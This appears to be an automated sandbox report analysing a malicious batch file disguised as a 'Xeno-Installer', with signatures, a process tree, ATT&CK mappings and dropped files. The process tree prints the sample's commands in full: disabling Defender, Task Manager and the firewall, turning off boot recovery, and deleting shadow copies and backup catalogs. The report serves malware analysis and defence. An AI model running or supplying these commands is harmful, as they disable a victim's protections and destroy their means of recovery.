Overview

overview

10

Static

static

1

Xeno-Installer.bat

windows10-2004-x64

10

Xeno-Installer.bat

windows11-ltsc_2024-x64

10

Analysis

  • max time kernel
    899s
  • max time network
    550s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260911-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    03/10/2026, 10:14

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    Xeno-Installer.bat
  • Size 3KB
  • Sample261003-l94tqaxt3j
  • SHA256 05b41fa88e20beb9d5244d39140ab885a459904f9c725b92f468713cc69efb12
  • MD5 SHA1 SHA512 TLSH
Score
10/10
adwaredefense_evasiondiscoveryevasionexecutionimpactpersistenceprivilege_escalationransomwarespywarestealertrojan

Malware Config

Signatures

  • Modifies Windows Defender DisableAntiSpyware settings 3 TTPs 1 IoCs
    evasiontrojan
  • Modifies Windows Defender Real-time Protection settings 3 TTPs 6 IoCs
    defense_evasiontrojan
  • Deletes shadow copies 3 TTPs

    Ransomware often targets backup files to inhibit system recovery.

    ransomwaredefense_evasionimpactexecution
  • Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs
    ransomwareevasion
  • Boot or Logon Autostart Execution: Active Setup 2 TTPs 1 IoCs

    Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine.

    persistence
  • Deletes backup catalog 3 TTPs 1 IoCs

    Uses wbadmin.exe to inhibit system recovery.

    ransomware
  • Disables RegEdit via registry modification 1 IoCs
    defense_evasion
  • Disables Task Manager via registry modification
    defense_evasion
  • Modifies Windows Firewall 2 TTPs 1 IoCs
    defense_evasion
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Drops desktop.ini file(s) 5 IoCs
  • Enumerates connected drives 3 TTPs 4 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Drops file in System32 directory 41 IoCs
  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

    persistenceprivilege_escalation
  • Executes a command shell one-liner 1 TTPs 1 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

    execution
  • Reads the TCP/IP host and domain name from the registry 1 TTPs 2 IoCs

    The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

    discovery
  • Checks SCSI registry key(s) 3 TTPs 64 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Interacts with shadow copies 3 TTPs 1 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

    ransomware
  • Modifies Internet Explorer settings 1 TTPs 1 IoCs
    adwarespyware
  • Modifies registry class 64 IoCs
  • Opens file in notepad (likely ransom note) 1 IoCs
    ransomware
  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 52 IoCs
  • Suspicious use of SendNotifyMessage 45 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 24 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence
  • Uses Volume Shadow Copy WMI provider

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware
  • Views/modifies file attributes 1 TTPs 1 IoCs
    defense_evasion

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Xeno-Installer.bat"
    1⤵
    • Executes a command shell one-liner
    • Modifies registry class
    • Suspicious use of WriteProcessMemory
    PID:5196
    • C:\Windows\system32\net.exe
      net session
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4808
      • C:\Windows\system32\net1.exe
        C:\Windows\system32\net1 session
        3⤵
          PID:5844
      • C:\Windows\system32\notepad.exe
        notepad.exe "C:\Users\Public\Desktop\NOTICE.txt"
        2⤵
        • Opens file in notepad (likely ransom note)
        PID:1092
      • C:\Windows\system32\reg.exe
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\Safer\CodeIdentifiers" /v DefaultLevel /t REG_DWORD /d 0 /f
        2⤵
          PID:5684
        • C:\Windows\system32\reg.exe
          reg add "HKCU\SOFTWARE\Policies\Microsoft\Windows\Safer\CodeIdentifiers" /v DefaultLevel /t REG_DWORD /d 0 /f
          2⤵
            PID:4388
          • C:\Windows\system32\reg.exe
            reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f
            2⤵
            • Modifies Windows Defender DisableAntiSpyware settings
            PID:4664
          • C:\Windows\system32\reg.exe
            reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableBehaviorMonitoring /t REG_DWORD /d 1 /f
            2⤵
            • Modifies Windows Defender Real-time Protection settings
            PID:952
          • C:\Windows\system32\reg.exe
            reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableOnAccessProtection /t REG_DWORD /d 1 /f
            2⤵
            • Modifies Windows Defender Real-time Protection settings
            PID:260
          • C:\Windows\system32\reg.exe
            reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableScanOnRealtimeEnable /t REG_DWORD /d 1 /f
            2⤵
            • Modifies Windows Defender Real-time Protection settings
            PID:5612
          • C:\Windows\system32\net.exe
            net stop WinDefend /y
            2⤵
            • Suspicious use of WriteProcessMemory
            PID:1048
            • C:\Windows\system32\net1.exe
              C:\Windows\system32\net1 stop WinDefend /y
              3⤵
                PID:248
            • C:\Windows\system32\net.exe
              net stop wscsvc /y
              2⤵
              • Suspicious use of WriteProcessMemory
              PID:3012
              • C:\Windows\system32\net1.exe
                C:\Windows\system32\net1 stop wscsvc /y
                3⤵
                  PID:700
              • C:\Windows\system32\netsh.exe
                netsh advfirewall set allprofiles state off
                2⤵
                • Modifies Windows Firewall
                • Event Triggered Execution: Netsh Helper DLL
                PID:3872
              • C:\Windows\system32\reg.exe
                reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
                2⤵
                  PID:4580
                • C:\Windows\system32\reg.exe
                  reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
                  2⤵
                    PID:3596
                  • C:\Windows\system32\reg.exe
                    reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t REG_DWORD /d 1 /f
                    2⤵
                    • Disables RegEdit via registry modification
                    PID:3600
                  • C:\Windows\system32\bcdedit.exe
                    bcdedit /set {default} bootstatuspolicy ignoreallfailures
                    2⤵
                    • Modifies boot configuration data using bcdedit
                    PID:1684
                  • C:\Windows\system32\bcdedit.exe
                    bcdedit /set {default} recoveryenabled no
                    2⤵
                    • Modifies boot configuration data using bcdedit
                    PID:2028
                  • C:\Windows\system32\vssadmin.exe
                    vssadmin delete shadows /all /quiet
                    2⤵
                    • Interacts with shadow copies
                    PID:3556
                  • C:\Windows\System32\Wbem\WMIC.exe
                    wmic shadowcopy delete
                    2⤵
                    • Reads the TCP/IP host and domain name from the registry
                    • Suspicious behavior: EnumeratesProcesses
                    • Suspicious use of AdjustPrivilegeToken
                    PID:2760
                  • C:\Windows\system32\wbadmin.exe
                    wbadmin delete catalog -quiet
                    2⤵
                    • Deletes backup catalog
                    PID:1712
                  • C:\Windows\system32\attrib.exe
                    attrib -h -r -s C:\Windows\System32\config\*
                    2⤵
                    • Drops file in System32 directory
                    • Views/modifies file attributes
                    PID:4780
                • C:\Windows\system32\vssvc.exe
                  C:\Windows\system32\vssvc.exe
                  1⤵
                  • Suspicious use of AdjustPrivilegeToken
                  PID:5100
                • C:\Windows\system32\wbengine.exe
                  "C:\Windows\system32\wbengine.exe"
                  1⤵
                  • Suspicious use of AdjustPrivilegeToken
                  PID:4668
                • C:\Windows\System32\vdsldr.exe
                  C:\Windows\System32\vdsldr.exe -Embedding
                  1⤵
                    PID:4972
                  • C:\Windows\System32\vds.exe
                    C:\Windows\System32\vds.exe
                    1⤵
                    • Checks SCSI registry key(s)
                    PID:5108
                  • C:\Windows\system32\sihost.exe
                    sihost.exe
                    1⤵
                    • Suspicious use of FindShellTrayWindow
                    • Suspicious use of WriteProcessMemory
                    PID:2276
                    • C:\Windows\explorer.exe
                      explorer.exe /LOADSAVEDWINDOWS
                      2⤵
                      • Boot or Logon Autostart Execution: Active Setup
                      • Drops desktop.ini file(s)
                      • Enumerates connected drives
                      • Checks SCSI registry key(s)
                      • Modifies Internet Explorer settings
                      • Modifies registry class
                      • Suspicious behavior: EnumeratesProcesses
                      • Suspicious use of AdjustPrivilegeToken
                      • Suspicious use of FindShellTrayWindow
                      • Suspicious use of SendNotifyMessage
                      • Suspicious use of SetWindowsHookEx
                      PID:1396
                  • C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe
                    "C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe" -ServerName:CortanaUI.AppXstmwaab17q5s3y22tp6apqz7a45vwv65.mca
                    1⤵
                    • Modifies registry class
                    • Suspicious use of SetWindowsHookEx
                    PID:2384
                  • C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe
                    "C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca
                    1⤵
                    • Modifies registry class
                    • Suspicious use of SetWindowsHookEx
                    PID:2980
                  • C:\Windows\system32\svchost.exe
                    C:\Windows\system32\svchost.exe -k GPSvcGroup
                    1⤵
                      PID:2368
                    • C:\Windows\System32\SecurityHealthHost.exe
                      \\?\C:\Windows\System32\SecurityHealthHost.exe {08728914-3F57-4D52-9E31-49DAECA5A80A} -Embedding
                      1⤵
                        PID:1408

                      Network

                            MITRE ATT&CK Enterprise v16

                            Reconnaissance

                            Resource Development

                            Initial Access

                            Execution

                            Command and Scripting Interpreter

                            2
                            T1059

                            Windows Command Shell

                            1
                            T1059.003

                            Windows Management Instrumentation

                            1
                            T1047

                            Persistence

                            Boot or Logon Autostart Execution

                            1
                            T1547

                            Active Setup

                            1
                            T1547.014

                            Create or Modify System Process

                            3
                            T1543

                            Windows Service

                            3
                            T1543.003

                            Event Triggered Execution

                            1
                            T1546

                            Netsh Helper DLL

                            1
                            T1546.007

                            Privilege Escalation

                            Boot or Logon Autostart Execution

                            1
                            T1547

                            Active Setup

                            1
                            T1547.014

                            Create or Modify System Process

                            3
                            T1543

                            Windows Service

                            3
                            T1543.003

                            Event Triggered Execution

                            1
                            T1546

                            Netsh Helper DLL

                            1
                            T1546.007

                            Defense Evasion

                            Direct Volume Access

                            1
                            T1006

                            Hide Artifacts

                            1
                            T1564

                            Hidden Files and Directories

                            1
                            T1564.001

                            Impair Defenses

                            3
                            T1562

                            Disable or Modify System Firewall

                            1
                            T1562.004

                            Disable or Modify Tools

                            2
                            T1562.001

                            Indicator Removal

                            3
                            T1070

                            File Deletion

                            3
                            T1070.004

                            Modify Registry

                            4
                            T1112

                            Credential Access

                            Credentials from Password Stores

                            1
                            T1555

                            Credentials from Web Browsers

                            1
                            T1555.003

                            Unsecured Credentials

                            1
                            T1552

                            Credentials In Files

                            1
                            T1552.001

                            Discovery

                            Peripheral Device Discovery

                            2
                            T1120

                            Query Registry

                            3
                            T1012

                            System Information Discovery

                            2
                            T1082

                            System Network Configuration Discovery

                            1
                            T1016

                            Lateral Movement

                            Collection

                            Data from Local System

                            1
                            T1005

                            Command and Control

                            Exfiltration

                            Impact

                            Inhibit System Recovery

                            4
                            T1490

                            Replay Monitor

                            Loading Replay Monitor...

                            Downloads

                            desktop.ini
                            • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\Burn\Burn\desktop.ini
                            • Size 174B
                            • SHA256 feea416e5e5c8aa81416b81fb25132d1c18b010b02663a253338dbdfb066e122
                            • MD5 SHA1 SHA512 TLSH
                            Submit Download

                            icnD693.tmp
                            • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\Explorer\IconCacheToDelete\icnD693.tmp
                            • Size 7KB
                            • SHA256 cf6af8804f1da626b00a2b5de795a4ece8e61b58bb781e6a053d1d3d47aca8af
                            • MD5 SHA1 SHA512 SSDEEP
                            Submit Download

                            iconcache_idx.db
                            • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\Explorer\iconcache_idx.db
                            • Size 7KB
                            • SHA256 7f908e4f352e40635f6b0c97d5944cb803b3929baf0cebd552615ddaf3e9c720
                            • MD5 SHA1 SHA512 SSDEEP
                            Submit Download

                            thumbcache_256.db
                            • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\Explorer\thumbcache_256.db
                            • Size 1024KB
                            • SHA256 fa0a32639b38bda273e8e0c48880255d0df984b82de69186781e8a4384f10553
                            • MD5 SHA1 SHA512 SSDEEP TLSH
                            Submit Download

                            thumbcache_48.db
                            • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\Explorer\thumbcache_48.db
                            • Size 24B
                            • SHA256 d3c9d1ff7b54b653c6a1125cac49f52070338a2dd271817bba8853e99c0f33a9
                            • MD5 SHA1 SHA512
                            Submit Download

                            prep_Activatable Class_Hermes_perf.cache
                            • Path C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\TempState\prep_Activatable Class_Hermes_perf.cache
                            • Size 595B
                            • SHA256 d4e60617c2afab8263febabe7f14f18595715078d71307a8cefe0707dae76dee
                            • MD5 SHA1 SHA512 TLSH
                            Submit Download

                            ~tartUnifiedTileModelCache.tmp
                            • Path C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\TempState\~tartUnifiedTileModelCache.tmp
                            • Size 10KB
                            • SHA256 27414b23bba950ea5470030669d754e7e10c3b072d680c3468a1eb8a9dc43c15
                            • MD5 SHA1 SHA512 SSDEEP TLSH
                            Submit Download

                            ~tartUnifiedTileModelCache.tmp
                            • Path C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\TempState\~tartUnifiedTileModelCache.tmp
                            • Size 10KB
                            • SHA256 b0f8bb34cfd63a5d6f505983f378d091cdff8e35f442a009104ba318ba32dcab
                            • MD5 SHA1 SHA512 SSDEEP TLSH
                            Submit Download

                            microsoftwindows.client[1].xml
                            • Path C:\Users\Admin\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\AC\Microsoft\Internet Explorer\DOMStore\W6OXF79V\microsoftwindows.client[1].xml
                            • Size 96B
                            • SHA256 c876975b70b5ec2d88bd014ebd2d551ad7da60e6ce99f8859534b4cabf028460
                            • MD5 SHA1 SHA512 TLSH
                            Submit Download

                            apps.csg
                            • Path C:\Users\Admin\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{c0ee483f-bbab-4d23-b116-b84778173f15}\apps.csg
                            • Size 444B
                            • SHA256 0b0af873ef116a51fc2a2329dc9102817ce923f32a989c7a6846b4329abd62cd
                            • MD5 SHA1 SHA512 TLSH
                            Submit Download

                            apps.schema
                            • Path C:\Users\Admin\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{c0ee483f-bbab-4d23-b116-b84778173f15}\apps.schema
                            • Size 150B
                            • SHA256 5af0fc2a0b5ccecdc04e54b3c60f28e3ff5c7d4e1809c6d7c8469f0567c090bb
                            • MD5 SHA1 SHA512 TLSH
                            Submit Download

                            appsconversions.txt
                            • Path C:\Users\Admin\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{c0ee483f-bbab-4d23-b116-b84778173f15}\appsconversions.txt
                            • Size 1.4MB
                            • SHA256 8b9fae5ea9dd21c2313022e151788b276d995c8b9115ee46832b804a914e6307
                            • MD5 SHA1 SHA512 SSDEEP TLSH
                            Submit Download

                            appsglobals.txt
                            • Path C:\Users\Admin\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{c0ee483f-bbab-4d23-b116-b84778173f15}\appsglobals.txt
                            • Size 331KB
                            • SHA256 bcb6ad603f5f2d3b0df5663e8ccd4a4209201816e80bb2f60ba11c81d4dd6bdf
                            • MD5 SHA1 SHA512 SSDEEP TLSH
                            Submit Download

                            appssynonyms.txt
                            • Path C:\Users\Admin\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{c0ee483f-bbab-4d23-b116-b84778173f15}\appssynonyms.txt
                            • Size 374KB
                            • SHA256 293742879d3eafac5178f28d9272f370481914bc76e80f90808bba7d9c423c26
                            • MD5 SHA1 SHA512 SSDEEP TLSH
                            Submit Download

                            settings.csg
                            • Path C:\Users\Admin\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{c0ee483f-bbab-4d23-b116-b84778173f15}\settings.csg
                            • Size 454B
                            • SHA256 1844105bb927dbc405685d3bf5546be47fa2fc5846b763c9f2ba2b613ec6bc48
                            • MD5 SHA1 SHA512 TLSH
                            Submit Download

                            settings.schema
                            • Path C:\Users\Admin\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{c0ee483f-bbab-4d23-b116-b84778173f15}\settings.schema
                            • Size 162B
                            • SHA256 d6bdeaa9bc0674ae9e8c43f2e9f68a2c7bb8575b3509685b481940fda834e031
                            • MD5 SHA1 SHA512 TLSH
                            Submit Download

                            settingsconversions.txt
                            • Path C:\Users\Admin\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{c0ee483f-bbab-4d23-b116-b84778173f15}\settingsconversions.txt
                            • Size 520KB
                            • SHA256 2541db95c321472c4cb91864cdfa2f1ed0f0069ac7f9cec86e10822283985c13
                            • MD5 SHA1 SHA512 SSDEEP TLSH
                            Submit Download

                            settingsglobals.txt
                            • Path C:\Users\Admin\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{c0ee483f-bbab-4d23-b116-b84778173f15}\settingsglobals.txt
                            • Size 60KB
                            • SHA256 980cf428a69ee46ec1385f1e3495b2fe91b21089a944de3a8bfb60f9091f3184
                            • MD5 SHA1 SHA512 SSDEEP TLSH
                            Submit Download

                            settingssynonyms.txt
                            • Path C:\Users\Admin\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{c0ee483f-bbab-4d23-b116-b84778173f15}\settingssynonyms.txt
                            • Size 125KB
                            • SHA256 adc8986901f6d85440631722ff559c58f15bc7d3e555513278f4565c0675e9d1
                            • MD5 SHA1 SHA512 SSDEEP TLSH
                            Submit Download

                            SettingsCache.txt.~tmp
                            • Path C:\Users\Admin\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\TempState\SettingsCache.txt.~tmp
                            • Size 575KB
                            • SHA256 bfef4a905afe500c0f805c24896ad9cfaa3b6258a39497c7d00ce8a6d3f7d19c
                            • MD5 SHA1 SHA512 SSDEEP TLSH
                            Submit Download

                            ~earchUnifiedTileModelCache.tmp
                            • Path C:\Users\Admin\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\TempState\~earchUnifiedTileModelCache.tmp
                            • Size 10KB
                            • SHA256 1cb0f24c343894c999a8e31c9ae0d2dae5d1a9dc11d7840eee56ec37f7f086d1
                            • MD5 SHA1 SHA512 SSDEEP TLSH
                            Submit Download

                            ~earchUnifiedTileModelCache.tmp
                            • Path C:\Users\Admin\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\TempState\~earchUnifiedTileModelCache.tmp
                            • Size 10KB
                            • SHA256 cb9063248a5aeb8d8bce5af7f2ca1c718db30af46c3ef2f321bf34cab37e9a29
                            • MD5 SHA1 SHA512 SSDEEP TLSH
                            Submit Download

                            desktop.ini
                            • Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\desktop.ini
                            • Size 174B
                            • SHA256 768b6fde6149d9ebbed1e339a72e8cc8c535e5c61d7c82752f7dff50923b7aed
                            • MD5 SHA1 SHA512 TLSH
                            Submit Download

                            desktop.ini
                            • Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\desktop.ini
                            • Size 174B
                            • SHA256 8e00a24ae458effe00a55344f7f34189b4594613284745ff7d406856a196c531
                            • MD5 SHA1 SHA512 TLSH
                            Submit Download

                            NOTICE.txt
                            • Path C:\Users\Public\Desktop\NOTICE.txt
                            • Size 84B
                            • SHA256 cc3ab5e396a7004b96d28b691949d15d277e0ebe24919381bc93a93e9c328aff
                            • MD5 SHA1 SHA512 TLSH
                            Submit Download

                            desktop.ini
                            • Path C:\Users\Public\Desktop\desktop.ini
                            • Size 174B
                            • SHA256 7148fbbf1aac8b5a54d248df19b60c00d3c0dcb2fd5bb2a1efd4e0f0eac6dd0f
                            • MD5 SHA1 SHA512 TLSH
                            Submit Download

                            desktop.ini
                            • Path C:\Users\Public\desktop.ini
                            • Size 174B
                            • SHA256 6de1a716b5c49541ebc9692b16efa6fdb75b18c2a210974f94f83dcfdf8800d7
                            • MD5 SHA1 SHA512 TLSH
                            Submit Download

                            memory/2384-103-0x0000014A82A20000-0x0000014A82A40000-memory.dmp
                            Download

                            memory/2384-79-0x0000014A801E0000-0x0000014A802E0000-memory.dmp
                            Download

                            memory/2384-80-0x0000014A801E0000-0x0000014A802E0000-memory.dmp
                            Download

                            memory/2384-81-0x0000014A801E0000-0x0000014A802E0000-memory.dmp
                            Download

                            memory/2384-136-0x0000014A94260000-0x0000014A94280000-memory.dmp
                            Download

                            memory/2384-105-0x0000014A82E60000-0x0000014A82F60000-memory.dmp
                            Download

                            memory/2384-118-0x0000014A82C60000-0x0000014A82C80000-memory.dmp
                            Download